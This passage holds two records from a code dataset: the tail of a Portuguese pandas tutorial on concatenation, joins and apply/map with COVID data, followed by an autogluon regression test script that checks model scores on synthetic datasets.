axis=1)\n\ncovid_PB_casos_obitos\n\ncovid_BR_casos_obitos\n\nVamos agora concaten\u00e1-los por coluna:\n\npd.concat([covid_PB_casos_obitos, covid_BR_casos_obitos], axis=1)\n\nPara um polimento final, vamos substituir os valores *NaN* que ocorreram antes do dia 13 de julho por 0. Para tanto, a forma ideal \u00e9 utilizando o m\u00e9todo **map**:\n\ndados_PB_BR = pd.concat([covid_PB_casos_obitos, covid_BR_casos_obitos], axis=1)\ndados_PB_BR['casosNovos'] = dados_PB_BR.casosNovos.map(lambda caso: 0 if np.isnan(caso) else caso).astype('int')\ndados_PB_BR['obitosNovos'] = dados_PB_BR.obitosNovos.map(lambda obito: 0 if np.isnan(obito) else obito).astype('int')\ndados_PB_BR\n\n## Mesclando *DataFrames* atrav\u00e9s de *joins*\n\n* Para realizar *joins* iremos utilizar a fun\u00e7\u00e3o **merge** do *pandas*. \n\n* *joins* tomam duas tabelas, uma tabela \u00e0 esquerda e uma \u00e0 direita e retornam uma terceira tabela contendo a uni\u00e3o das colunas das duas tabelas.\n\nExistem 4 tipos de *joins*:\n\n* *left join*: Apenas ir\u00e3o aparecer os *index* (da linha) que existem na tabela \u00e0 esquerda;\n* *right join*: Apenas ir\u00e3o aparecer os *index* (da linha) que existem na tabela \u00e0 direita;\n* *inner join*: Apenas ir\u00e3o aparecer os *index* que existem nas duas tabelas;\n* *full join* ou *outer join*: ir\u00e3o aparecer todos os *index* das duas tabelas.\n\nPara exemplificar vamos considerar dois *DataFrames* (aqui teremos menos linhas e nomes e dados fict\u00edcios). O primeiro *DataFrame* consistir\u00e1 de Nomes de alunos, CPF e matr\u00edcula da UFPB e recebe o nome de *nome_cpf_mat*. O segundo *DataFrame* consistir\u00e1 de Nome, CPF e e-mail e recebe o nome de *nome_cpf_email*.\n\nNosso objetivo \u00e9 criar um novo *DataFrame* contendo Nome, CPF, matr\u00edcula e e-mail.\n\nTemos ainda a seguinte situa\u00e7\u00e3o:\n\nNo *DataFrame* *nome_cpf_mat* existem alunos que n\u00e3o est\u00e3o presentes no *nome_cpf_email*, pois n\u00e3o enviaram esta informa\u00e7\u00e3o.\n\nNo *DataFrame* *nome_cpf_email* existem alunos que n\u00e3o est\u00e3o presentes no *nome_cpf_mat* pois estes n\u00e3o s\u00e3o alunos da UFPB.\n\nnome_cpf_mat = pd.read_csv('06b-nome_cpf_mat.csv')\nnome_cpf_email = pd.read_csv('06b-nome_cpf_email.csv')\n\nVamos agora dar uma examinada nos *DataFrames*. Como s\u00e3o bem simples, basta realizar *prints* deles.\n\nnome_cpf_mat\n\nnome_cpf_email\n\nTipicamente \u00e9 bom possuir *index* \u00fanicos. Neste sentido, vamos definir o CPF como *index*:\n\nnome_cpf_mat = nome_cpf_mat.set_index('CPF')\nnome_cpf_email = nome_cpf_email.set_index('CPF')\n\nVamos agora realizar um **left** join com o *DataFrame* **nome_cpf_mat** ficando \u00e0 esquerda (neste caso, apenas alunos com matr\u00edcula ir\u00e3o aparecer):\n\npd.merge(nome_cpf_mat, nome_cpf_email, how = 'left', on = ['Nome','CPF'])\n\nNa op\u00e7\u00e3o *how* dizemos qual o tipo de *join* que queremos realizar. \n\nNa op\u00e7\u00e3o *on* dizemos quais as colunas que existem em comum nos *DataFrames*.\n\nVeja o que aconteceria se inform\u00e1ssemos apenas que o *CPF* est\u00e1 presente nos dois *DataFrames*:\n\npd.merge(nome_cpf_mat, nome_cpf_email, how = 'left', on = 'CPF')\n\nObserve que os nomes dos alunos que est\u00e3o na segunda tabela ficam indeterminados na coluna *Nome_y*.\n\nVamos agora realizar um **right** join com o *DataFrame* **nome_cpf_mat** ficando \u00e0 esquerda (neste caso, apenas alunos **com e-mail** ir\u00e3o aparecer):\n\npd.merge(nome_cpf_mat, nome_cpf_email, how = 'right', on = ['Nome','CPF'])\n\nVamos agora realizar um **inner** join com o *DataFrame* **nome_cpf_mat** ficando \u00e0 esquerda (neste caso, apenas alunos **com matr\u00edcula e com e-mail** ir\u00e3o aparecer):\n\npd.merge(nome_cpf_mat, nome_cpf_email, how = 'inner', on = ['Nome','CPF'])\n\nPor fim, vamos agora realizar um **outer** ou **full** join com o *DataFrame* **nome_cpf_mat** ficando \u00e0 esquerda (neste caso, **todos** os alunos ir\u00e3o aparecer):\n\npd.merge(nome_cpf_mat, nome_cpf_email, how = 'outer', on = ['Nome','CPF'])\n\n## Os m\u00e9todos *apply*, *map* e *applymap*\n\nA ideia \u00e9 relativamente simples. Os tr\u00eas m\u00e9todos s\u00e3o vetorizados e aplicam uma fun\u00e7\u00e3o ou uma substitui\u00e7\u00e3o via dicion\u00e1rio de tal forma que:\n* *apply* \u00e9 realizado via linha ou coluna em um *DataFrame*;\n* *map* \u00e9 aplicado a cada elemento de uma *Serie*;\n* *applymap* \u00e9 aplicado a cada elemento de um *DataFrame*.\n\nJ\u00e1 vimos diversos exemplos de uso do map. Vejamos exemplos de *applymap* e *apply*.\n\n* Neste exemplo vamos retomar a concatena\u00e7\u00e3o entre os dados da Para\u00edba e do Brasil, por\u00e9m iremos substituir *todos* os valores de *NaN* por zero, usando o m\u00e9todp **applymap**.\n\ndados_PB_BR = pd.concat([covid_PB_casos_obitos, covid_BR_casos_obitos], axis=1)\ndados_PB_BR.applymap(lambda valor: 0 if np.isnan(valor) else valor)\n\n* Vamos utilizar o *apply* para realizar a soma de casos e \u00f3bitos de mais uma forma diferente:\n\ndados_PB_BR.apply(lambda x: np.sum(x)).astype('int')\n\n* Se quisermos realizar a opera\u00e7\u00e3o por linhas, basta utilizar o argumento *axis=1*:\n\ndados_PB_BR.apply(lambda x: (x>0).all(), axis=1)", "meta": {"hexsha": "aa77d4dfc8d84612bf17cdfa1b65c86c972ee0aa", "size": 22518, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/ipynb/06b-intro-pandas2.py", "max_stars_repo_name": "gcpeixoto/FMECD", "max_stars_repo_head_hexsha": "9bca72574c6630d1594396fffef31cfb8d58dec2", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/ipynb/06b-intro-pandas2.py", "max_issues_repo_name": "gcpeixoto/FMECD", "max_issues_repo_head_hexsha": "9bca72574c6630d1594396fffef31cfb8d58dec2", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/ipynb/06b-intro-pandas2.py", "max_forks_repo_name": "gcpeixoto/FMECD", "max_forks_repo_head_hexsha": "9bca72574c6630d1594396fffef31cfb8d58dec2", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.8548672566, "max_line_length": 410, "alphanum_fraction": 0.7448707701, "include": true, "reason": "import numpy", "num_tokens": 6662, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295203152604, "lm_q2_score": 0.12765262698114574, "lm_q1q2_score": 0.05687301366589273}}
{"text": "\"\"\" Runs autogluon.tabular on synthetic classification and regression datasets.\n    We test various parameters to TabularPredictor() and fit()\n    We then check the leaderboard:\n       Did we run the expected list of models\n       Did each model have the expected score (within given range)\n       Did the ensembling produce the expected score (within given range)\n    This helps us spot any change in model performance.\n    If any changes are spotted, the script does its best to dump out new proposed score ranges\n    that you can cut and paste into the tests.  Only do this once you've identified the cause!\n\n    Potential naming confusion: \n        - this is a *regression* test, to make sure no functionality has accidentally got worse (testing terminology)\n        - it runs two types of TabularPredictor tests : *regression* and classification (ML terminology)\n\n    These tests are designed to run fast, to permit them to be run on a github hook.\n    Currently the 11 tests, calling TabularPredictor.fit() 20 times, run in ~8 minutes on an 8 vcore machine with no GPU.\n\n    Format of a test:  \n\n    {   # Default regression model on a small dataset\n        'name':             # some unique name\n        'type':             # either 'regression' or 'classification'.  We make a dataset using \n                            # scikit-learn.make_{regression,classification}\n        'n_samples':        # number of rows in the training dataset.  With TEST_SIZE default of 0.5, \n                            # we make an additional n_samples for testing.\n        'n_features': 2,    # number of columns.\n        'n_categorical': 0, # number of categorical (discrete not continuous) columns.\n        ''dataset_hash' :   # Hash of synthetic dataset to ensure the dataset itself didn't change.\n        'params' : [ { 'predict' : {}, 'fit' : {} },   # If an array, we call TabularPredictor multiple times with \n                                                       # different parameters.\n                     { 'predict' : {}, 'fit' : {} },   # Pass the additional parameters to predict(), fit() or both \n                                                       # in the dicts.\n                                                       # If a scalar, we only call TabularPredictor once.\n                   ],\n        'expected_score_range' : {                     # A list of models we expect to run, and a valid score range we \n                                                       # expect from each model.\n                  'CatBoost': (-7.86, 0.01),           # The first value is the lower bound, the 2nd value is a delta \n                  'ExtraTreesMSE': (-7.88, 0.01),      # to compute the upper bound, e.g. ( -8.12, 0.01 ) means we \n                                                       # expect the score to be from -8.12 to -8.11 inclusive.\n                  'CatBoost_BAG_L1': (np.nan, np.nan), # If np.nan, we expect this model to return np.nan as the score.\n        },\n    },\n\n    Testing by @willsmithorg on master AG as of 2022-02-22 - 2022-02-23:\n    Tested on AWS Linux instance m5.2xlarge, amzn2-ami-kernel-5.10-hvm-2.0.20211223.0-x86_64-gp2 with \n                                               (8  vcore, no GPU, Python==3.7.10, scikit-learn==1.0.2, torch==1.10.2), \n    Tested on Github jenkins Linux:\n                                               (?  vcore,  0 GPU, Python==3.9.10, scikit-learn==1.0.2, torch==1.10.2), \n    Tested on AWS Windows instance t3.xlarge, \n                                               (4  vcore,  0 GPU, Python==3.9.7 , scikit-learn==1.0.2, torch==1.10.2), \n                                               - Pytorch scores are slighty different, all else same.\n\n\"\"\"\nimport sys\nimport math\nimport hashlib\nimport random\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.datasets import make_classification, make_regression\nfrom sklearn.model_selection import train_test_split\n\nimport pytest\n\nfrom autogluon.tabular import TabularDataset, TabularPredictor\n\n\ntests = [\n    # \n    # Regressions\n    # \n    {   # Default regression model on a small dataset\n        'name': 'small regression',\n        'type': 'regression',\n        'n_samples': 100,\n        'n_features': 2,\n        'n_categorical': 0,\n        'dataset_hash' : '5850a1c21a',\n        'params' : [ { 'predict' : {}, 'fit' : {} },          # All of the followiing params should return same results because they're defaults\n                     { 'predict' : {}, 'fit' : { 'presets' : 'medium_quality_faster_train' } }, \n                     { 'predict' : {}, 'fit' : { 'presets' : 'ignore_text' } }, \n                     { 'predict' : {}, 'fit' : { 'hyperparameters' : 'default' } }, \n                     { 'predict' : { 'eval_metric' : 'root_mean_squared_error'}, 'fit' : { } }, \n                   ], \n        'expected_score_range' : {\n                  'CatBoost': (-7.86, 0.01),\n                  'ExtraTreesMSE': (-7.88, 0.01),\n                  'KNeighborsDist': (-8.69, 0.01),\n                  'KNeighborsUnif': (-9.06, 0.01),\n                  'LightGBM': (-15.55, 0.01),\n                  'LightGBMLarge': (-10.43, 0.01),\n                  'LightGBMXT': (-16.32, 0.01),\n                  'NeuralNetFastAI': (-6.12, 0.01),\n                  'NeuralNetTorch': (-4.96, 0.01),\n                  'RandomForestMSE': (-9.63, 0.01),\n                  'WeightedEnsemble_L2': (-5.66, 0.01),\n                  'XGBoost': (-10.8, 0.01),\n        },\n    },\n    {   # If we explictly exclude some models the others should return unchanged and the ensemble result will be changed.\n        'name': 'small regression excluded models',\n        'type': 'regression',\n        'n_samples': 100,\n        'n_features': 2,\n        'n_categorical': 0,\n        'dataset_hash' : '5850a1c21a',\n        'params' : { 'predict' : {}, 'fit' : { 'excluded_model_types' : [ 'KNN', 'RF', 'XT', 'GBM', 'CAT', 'XGB' ] } },\n        'expected_score_range' : {\n                  'NeuralNetFastAI': (-6.12, 0.01),\n                  'NeuralNetTorch': (-4.96, 0.01),\n                  'WeightedEnsemble_L2': (-5.09, 0.01),\n        },\n    },\n    {   # Small regression, hyperparameters = light removes some models\n        'name': 'small regression light hyperparameters',\n        'type': 'regression',\n        'n_samples': 100,\n        'n_features': 2,\n        'n_categorical': 0,\n        'dataset_hash' : '5850a1c21a',\n        'params' : { 'predict' : {}, 'fit' : { 'hyperparameters' : 'light' } },\n        'expected_score_range' : {\n                  'CatBoost': (-7.86, 0.01),\n                  'ExtraTreesMSE': (-7.87, 0.01),\n                  'LightGBM': (-15.55, 0.01),\n                  'LightGBMLarge': (-10.43, 0.01),\n                  'LightGBMXT': (-16.32, 0.01),\n                  'NeuralNetFastAI': (-6.12, 0.01),\n                  'NeuralNetTorch': (-4.96, 0.01),\n                  'RandomForestMSE': (-9.63, 0.01),\n                  'WeightedEnsemble_L2': (-5.66, 0.01),\n                  'XGBoost': (-10.8, 0.01),\n        },\n    },\n    {   # Small regression, hyperparameters = very_light removes some models\n        'name': 'small regression very light hyperparameters',\n        'type': 'regression',\n        'n_samples': 100,\n        'n_features': 2,\n        'n_categorical': 0,\n        'dataset_hash' : '5850a1c21a',\n        'params' : { 'predict' : {}, 'fit' : { 'hyperparameters' : 'very_light' } },\n        'expected_score_range' : {\n                  'CatBoost': (-7.86, 0.01),\n                  'LightGBM': (-15.55, 0.01),\n                  'LightGBMLarge': (-10.43, 0.01),\n                  'LightGBMXT': (-16.32, 0.01),\n                  'NeuralNetFastAI': (-6.12, 0.01),\n                  'NeuralNetTorch': (-4.96, 0.01),\n                  'WeightedEnsemble_L2': (-5.58, 0.01),\n                  'XGBoost': (-10.8, 0.01),\n        },\n    },\n    {   # Small regression, hyperparameters = toy removes almost all models and runs very fast\n        'name': 'small regression toy hyperparameters',\n        'type': 'regression',\n        'n_samples': 100,\n        'n_features': 2,\n        'n_categorical': 0,\n        'dataset_hash' : '5850a1c21a',\n        'params' : { 'predict' : {}, 'fit' : { 'hyperparameters' : 'toy' } },\n        'expected_score_range' : { \n                  'CatBoost': (-28.39, 0.01),\n                  'LightGBM': (-27.81, 0.01),\n                  'NeuralNetTorch': (-27.11, 0.01),\n                  'WeightedEnsemble_L2': (-19.12, 0.01),\n                  'XGBoost': (-19.12, 0.01),\n        },\n    },\n    {   # High quality preset on small datset.\n        'name': 'small regression high quality',\n        'type': 'regression',\n        'n_samples': 100,\n        'n_features': 2,\n        'n_categorical': 0,\n        'dataset_hash' : '5850a1c21a',\n        'params' : { 'predict' : {}, 'fit' : { 'presets' : 'high_quality_fast_inference_only_refit' } }, \n        'expected_score_range' : {\n                  'CatBoost_BAG_L1': (np.nan, np.nan),\n                  'CatBoost_BAG_L1_FULL': (-7.75, 0.01),\n                  'ExtraTreesMSE_BAG_L1': (-7.52, 0.01),\n                  'ExtraTreesMSE_BAG_L1_FULL': (-7.52, 0.01),\n                  'KNeighborsDist_BAG_L1': (-8.21, 0.01),\n                  'KNeighborsDist_BAG_L1_FULL': (-8.21, 0.01),\n                  'KNeighborsUnif_BAG_L1': (-8.7, 0.01),\n                  'KNeighborsUnif_BAG_L1_FULL': (-8.7, 0.01),\n                  'LightGBMLarge_BAG_L1': (np.nan, np.nan),\n                  'LightGBMLarge_BAG_L1_FULL': (-9.94, 0.01),\n                  'LightGBMXT_BAG_L1': (np.nan, np.nan),\n                  'LightGBMXT_BAG_L1_FULL': (-13.03, 0.01),\n                  'LightGBM_BAG_L1': (np.nan, np.nan),\n                  'LightGBM_BAG_L1_FULL': (-14.17, 0.01),\n                  'NeuralNetFastAI_BAG_L1': (np.nan, np.nan),\n                  'NeuralNetFastAI_BAG_L1_FULL': (-5.48, 0.01),\n                  'NeuralNetTorch_BAG_L1': (np.nan, np.nan),\n                  'NeuralNetTorch_BAG_L1_FULL': (-5.29, 0.01),\n                  'RandomForestMSE_BAG_L1': (-9.5, 0.01),\n                  'RandomForestMSE_BAG_L1_FULL': (-9.5, 0.01),\n                  'WeightedEnsemble_L2': (np.nan, np.nan),\n                  'WeightedEnsemble_L2_FULL': (-5.29, 0.01),\n                  'XGBoost_BAG_L1': (np.nan, np.nan),\n                  'XGBoost_BAG_L1_FULL': (-9.76, 0.01),\n        }\n    },\n    {   # Best quality preset on small datset.\n        'name': 'small regression best quality',\n        'type': 'regression',\n        'n_samples': 100,\n        'n_features': 2,\n        'n_categorical': 0,\n        'dataset_hash' : '5850a1c21a',\n        'params' : { 'predict' : {}, 'fit' : { 'presets' : 'best_quality' } }, \n        'expected_score_range' : {\n                  'CatBoost_BAG_L1': (-7.85, 0.01),\n                  'ExtraTreesMSE_BAG_L1' : (-7.52, 0.01),\n                  'KNeighborsDist_BAG_L1' : (-8.21, 0.01),\n                  'KNeighborsUnif_BAG_L1' : (-8.70, 0.01),\n                  'LightGBMLarge_BAG_L1' : (-9.44, 0.01),\n                  'LightGBMXT_BAG_L1' : (-14.78, 0.01),\n                  'LightGBM_BAG_L1' : (-14.92, 0.01),\n                  'NeuralNetFastAI_BAG_L1' : (-5.55, 0.01),\n                  'NeuralNetTorch_BAG_L1' : (-5.07, 0.01),\n                  'RandomForestMSE_BAG_L1' : (-9.5, 0.01),\n                  'WeightedEnsemble_L2' : (-5.05, 0.01),   # beats default, as expected\n                  'XGBoost_BAG_L1' : (-9.74, 0.01),\n        }\n    },\n    {   # Default regression model, add some categorical features.\n        'name': 'small regression with categorical',\n        'type': 'regression',\n        'n_samples': 100,\n        'n_features': 2,\n        'n_categorical': 1,\n        'dataset_hash' : '3e26d128e0',\n        'params' : { 'predict' : {}, 'fit' : {} },          # Default params\n        'expected_score_range' : {\n                 'CatBoost': (-22.58, 0.01),\n                 'ExtraTreesMSE': (-25.09, 0.01),\n                 'KNeighborsDist': (-39.45, 0.01),\n                 'KNeighborsUnif': (-35.64, 0.01),\n                 'LightGBM': (-32.96, 0.01),\n                 'LightGBMLarge': (-34.86, 0.01),\n                 'LightGBMXT': (-32.69, 0.01),\n                 'NeuralNetFastAI': (-22.11, 0.01),\n                 'NeuralNetTorch': (-19.76, 0.01),\n                 'RandomForestMSE': (-27.49, 0.01),\n                 'WeightedEnsemble_L2': (-19.76, 0.01),\n                 'XGBoost': (-24.93, 0.01),\n\n        }\n    },\n    {   # Default regression model different metric\n        'name': 'small regression metric mae',\n        'type': 'regression',\n        'n_samples': 100,\n        'n_features': 2,\n        'n_categorical': 0,\n        'dataset_hash' : '5850a1c21a',\n        'params' : { 'predict' : { 'eval_metric' : 'mean_absolute_error'}, 'fit' : { } }, \n        'expected_score_range' : {\n                  'CatBoost': (-5.23, 0.01),\n                  'ExtraTreesMSE': (-5.48, 0.01),\n                  'KNeighborsDist': (-6.16, 0.01),\n                  'KNeighborsUnif': (-6.61, 0.01),\n                  'LightGBM': (-11.97, 0.01),\n                  'LightGBMLarge': (-7.69, 0.01),\n                  'LightGBMXT': (-12.37, 0.01),\n                  'NeuralNetFastAI': (-4.74, 0.01),\n                  'NeuralNetTorch': (-3.77, 0.01),\n                  'RandomForestMSE': (-6.96, 0.01),\n                  'WeightedEnsemble_L2': (-4.03, 0.01),\n                  'XGBoost': (-8.32, 0.01),\n\n        },\n    },\n    # \n    # Classifications\n    # \n    {   # Default classification model on a small dataset\n        'name': 'small classification',\n        'type': 'classification',\n        'n_samples': 400,  # With only 8 classes it's hard to compare model quality unless we have a biggest test set (and therefore train set).\n        'n_features': 10,\n        'n_informative': 5,\n        'n_classes': 8,\n        'n_categorical': 0,\n        'dataset_hash' : 'be1f16df80',\n        'params' : [ { 'predict' : {}, 'fit' : {} },     # All of the followiing params should return same results\n                     { 'predict' : {}, 'fit' : { 'presets' : 'medium_quality_faster_train' } }, \n                     { 'predict' : {}, 'fit' : { 'presets' : 'ignore_text' } }, \n                     { 'predict' : {}, 'fit' : { 'hyperparameters' : 'default' } }, \n                     { 'predict' : { 'eval_metric' : 'accuracy'}, 'fit' : { } }, \n                   ], \n        'expected_score_range' : {\n                 'CatBoost': (0.245, 0.001),            # Classification scores are low numbers so we decrease the\n                 'ExtraTreesEntr': (0.327, 0.001),      # tolerance to 0.001 to make sure we pick up changes.\n                 'ExtraTreesGini': (0.32, 0.001),\n                 'KNeighborsDist': (0.337, 0.001),\n                 'KNeighborsUnif': (0.322, 0.001),\n                 'LightGBM': (0.197, 0.001),\n                 'LightGBMLarge': (0.265, 0.001),\n                 'LightGBMXT': (0.23, 0.001),\n                 'NeuralNetFastAI': (0.34, 0.001),\n                 'NeuralNetTorch': (0.232, 0.001),\n                 'RandomForestEntr': (0.305, 0.001),\n                 'RandomForestGini': (0.295, 0.001),\n                 'WeightedEnsemble_L2': (0.34, 0.001),\n                 'XGBoost': (0.227, 0.001),\n        }\n    },\n    {   # There's different logic for boolean classification so let's test that with n_classes = 2.\n        'name': 'small classification boolean',\n        'type': 'classification',\n        'n_samples': 400,  \n        'n_features': 10,\n        'n_informative': 5,\n        'n_classes': 2,\n        'n_categorical': 0,\n        'dataset_hash' : '79e634aac3',\n        'params' : [ { 'predict' : {}, 'fit' : {} },      # All of the followiing params should return same results\n                     { 'predict' : { 'eval_metric' : 'accuracy'}, 'fit' : { } }, \n                   ], \n        'expected_score_range' : {\n                  'CatBoost': (0.61, 0.001),\n                  'ExtraTreesEntr': (0.607, 0.001),\n                  'ExtraTreesGini': (0.6, 0.001),\n                  'KNeighborsDist': (0.61, 0.001),\n                  'KNeighborsUnif': (0.61, 0.001),\n                  'LightGBM': (0.632, 0.001),\n                  'LightGBMLarge': (0.552, 0.001),\n                  'LightGBMXT': (0.612, 0.001),\n                  'NeuralNetFastAI': (0.62, 0.001),\n                  'NeuralNetTorch': (0.597, 0.001),\n                  'RandomForestEntr': (0.607, 0.001),\n                  'RandomForestGini': (0.582, 0.001),\n                  'WeightedEnsemble_L2': (0.61, 0.001),\n                  'XGBoost': (0.58, 0.001),\n        }\n    },\n]\n\n\n# Lots of test data since inference is fast and we want a score that's very reflective of model quality, \n# despite very fast training times.\nTEST_SIZE=0.5 \ndef make_dataset(request, seed):\n    # Ensure our datasets and model calls remain deterministic.\n    random.seed(seed)\n    np.random.seed(seed)\n    if request['type'] == 'regression':\n\n        x, y = make_regression(n_samples = int(request['n_samples']*(1/(1-TEST_SIZE))),\n                               n_features = request['n_features'], \n                               noise=4) # To make it hard enough that we get better performance on slower models\n    elif request['type'] == 'classification':\n        x, y = make_classification(n_samples = int(request['n_samples']*(1/(1-TEST_SIZE))),\n                               n_features = request['n_features'], \n                               n_informative = request['n_informative'], \n                               n_redundant = request['n_classes'] - request['n_informative'],\n                               n_classes = request['n_classes'],\n                               class_sep=0.4) # To make it hard enough that we get better performance on slower models\n    else:\n        assert False, \"Unrecognised request type '{request['type'}'\"\n\n \n    dfx = pd.DataFrame(x)\n    dfy = pd.DataFrame(y, columns=['label'])\n\n    # Make some columns categorical if required.\n    if request['n_categorical'] > 0:\n        cols_to_convert = random.sample(set(dfx.columns.values), k=request['n_categorical'])\n        for col in cols_to_convert:\n            dfx[col] = dfx[col].astype(int)\n            vals = np.unique(dfx[col])        \n            # Shuffle the categoricals so there's no pattern in their ordering. \n            vals2 = vals.copy()-min(vals)\n            np.random.shuffle(vals2)\n            mapper = dict(zip(vals, vals2))\n            dfx[col] = dfx[col].map(mapper)\n            dfx[col] = dfx[col].astype(\"category\")\n\n    x_train, x_test, y_train, y_test = train_test_split(dfx, dfy, test_size=TEST_SIZE)\n    dftrain = pd.concat([x_train, y_train], axis=1)\n    dftest  = pd.concat([x_test,  y_test],  axis=1)\n\n    return (dftrain, dftest)\n\n# Round to given accuracy.  The 8 is to remove floating point rounding errors.\ndef myfloor(x, base=.01):\n  return round(base * math.floor(float(x)/base),8)\n\n@pytest.mark.regression\ndef inner_test_tabular(testname):\n\n    # Find the named test\n    test = None\n    for t in tests:\n        if t['name'] == testname:\n            test = t\n    assert test is not None, f\"Could not find test {testname}\"\n \n    # Build the dataset\n    (dftrain, dftest) = make_dataset(request=test, seed=0)\n\n    # Check the synthetic dataset itself hasn't changed.  We round it to 3dp otherwise tiny floating point differences  \n    # between platforms can give a different hash that still yields same prediction scores.\n    # Ultimately it doesn't matter how we do this as long as the same dataset gives the same hash function on\n    # different python versions and architectures.\n    current_hash = hashlib.sha256(dftrain.round(decimals=3).values.tobytes()).hexdigest()[0:10]\n    proposedconfig = \"Proposed new config:\\n\"\n    proposedconfig += f\"'dataset_hash' : '{current_hash}',\"\n    assert current_hash == test['dataset_hash'], f\"Test '{testname}' input dataset has changed.  All scores will change.\\n\" + proposedconfig\n\n    # Now run the Predictor 1 or more times with various parameters, and make sure we get\n    # back the expected results.\n\n    # Params can either omitted, or a single run, or a list of runs.\n    if 'params' not in test:\n        test['params'] = { 'predict' : {}, 'fit' : {} }\n    if not isinstance(test['params'], list):\n        test['params'] = [ test['params'] ]\n    for params in test['params']:\n\n        # Run this model and set of params\t\t\n        predictor = TabularPredictor(label='label', **params['predict'])\n        predictor.fit(dftrain, **params['fit'])\n        leaderboard = predictor.leaderboard(dftest, silent=True)\n        leaderboard = leaderboard.sort_values(by='model') # So we can pre-generate sample config in alphabetical order\n\n        # Store proposed new config based on the current run, in case the developer wants to keep thee results (just cut and paste).\n        proposedconfig = \"Proposed new config:\\n\"\n        proposedconfig += \"'expected_score_range' : {\\n\";\n        for model in leaderboard['model']:\n            midx_in_leaderboard = leaderboard.index.values[leaderboard['model'] == model][0]\n            if np.isnan(leaderboard['score_test'][midx_in_leaderboard]): \n                 values = \"np.nan, np.nan\"\n            else:\n                 if model in test['expected_score_range'] and not np.isnan(test['expected_score_range'][model][1]):\n                     currentprecision = test['expected_score_range'][model][1]\n                 else:\n                     currentprecision = 0.01\n                 values = \"{}, {}\".format(myfloor(leaderboard['score_test'][midx_in_leaderboard], currentprecision), currentprecision)\n            proposedconfig += f\"    '{model}': ({values}),\\n\"\n        proposedconfig += \"},\\n\"\n\n        # First validate the model list was as expected.\n        assert set(leaderboard['model']) == set(test['expected_score_range'].keys()), (f\"Test '{testname}' params {params} got unexpected model list.\\n\" + proposedconfig)\n\n        # Now validate the scores for each model were as expected.\n        all_assertions_met = True\n        currentconfig = \"Existing config:\\n\"\n        currentconfig += \"'expected_score_range' : {\\n\";\n        for model in sorted(test['expected_score_range']):\n            midx_in_leaderboard = leaderboard.index.values[leaderboard['model'] == model][0]\n            assert leaderboard['model'][midx_in_leaderboard] == model\n            expectedrange = test['expected_score_range'][model][1]\n            expectedmin = test['expected_score_range'][model][0]\n            expectedmax = expectedmin + expectedrange\n\n            if np.isnan(expectedmin):\n                 values = \"np.nan, np.nan\"\n            else:\n                 values = \"{}, {}\".format(expectedmin, expectedrange)\n            \n            if (((leaderboard['score_test'][midx_in_leaderboard] >= expectedmin) and \n               (leaderboard['score_test'][midx_in_leaderboard] <= expectedmax)) or  \n               (np.isnan(leaderboard['score_test'][midx_in_leaderboard]) and np.isnan(expectedmin))):\n                currentconfig += f\"    '{model}': ({values}),\\n\"\n            else:\n                currentconfig += f\"    '{model}': ({values}), # <--- not met, got {leaderboard['score_test'][midx_in_leaderboard]} \\n\"\n                all_assertions_met = False\n        currentconfig += \"},\\n\"\n\n        assert all_assertions_met, f\"Test '{testname}', params {params} had unexpected scores:\\n\" + currentconfig + proposedconfig\n\n        # Clean up this model created with specific params.\n        predictor.delete_models(models_to_keep=[], dry_run=False)  \n\n\t\n\n# The tests are all run individually rather than in 1 big loop that simply goes through the tests dictionary.\n# This is so we easily remove some tests if necessary.\n@pytest.mark.parametrize(\"testname\", [\n    'small regression',\n    'small regression excluded models',\n    'small regression light hyperparameters',\n    'small regression very light hyperparameters',\n    'small regression toy hyperparameters',\n    'small regression high quality',\n    'small regression best quality',\n    'small regression with categorical',\n    'small regression metric mae',\n    'small classification',\n    'small classification boolean',\n])\n\n# These results have only been confirmed for Linux.  Windows is known to give different results for Pytorch.\n@pytest.mark.skipif(sys.platform != 'linux', reason='Scores only confirmed on Linux')\n@pytest.mark.regression\ndef test_tabular_score(testname):\n    inner_test_tabular(testname)\n", "meta": {"hexsha": "87791b51bfb332ee9c25639554eddf966694c714", "size": 24448, "ext": "py", "lang": "Python", "max_stars_repo_path": "tabular/tests/regressiontests/test_tabular_regression.py", "max_stars_repo_name": "huibinshen/autogluon", "max_stars_repo_head_hexsha": "18c182c90df89762a916128327a6792b8887c5c6", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tabular/tests/regressiontests/test_tabular_regression.py", "max_issues_repo_name": "huibinshen/autogluon", "max_issues_repo_head_hexsha": "18c182c90df89762a916128327a6792b8887c5c6", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tabular/tests/regressiontests/test_tabular_regression.py", "max_forks_repo_name": "huibinshen/autogluon", "max_forks_repo_head_hexsha": "18c182c90df89762a916128327a6792b8887c5c6", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.6043737575, "max_line_length": 170, "alphanum_fraction": 0.538776178, "include": true, "reason": "import numpy", "num_tokens": 6590, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44552954976388504, "lm_q2_score": 0.12765261204695083, "lm_q1q2_score": 0.05687301077146189}}
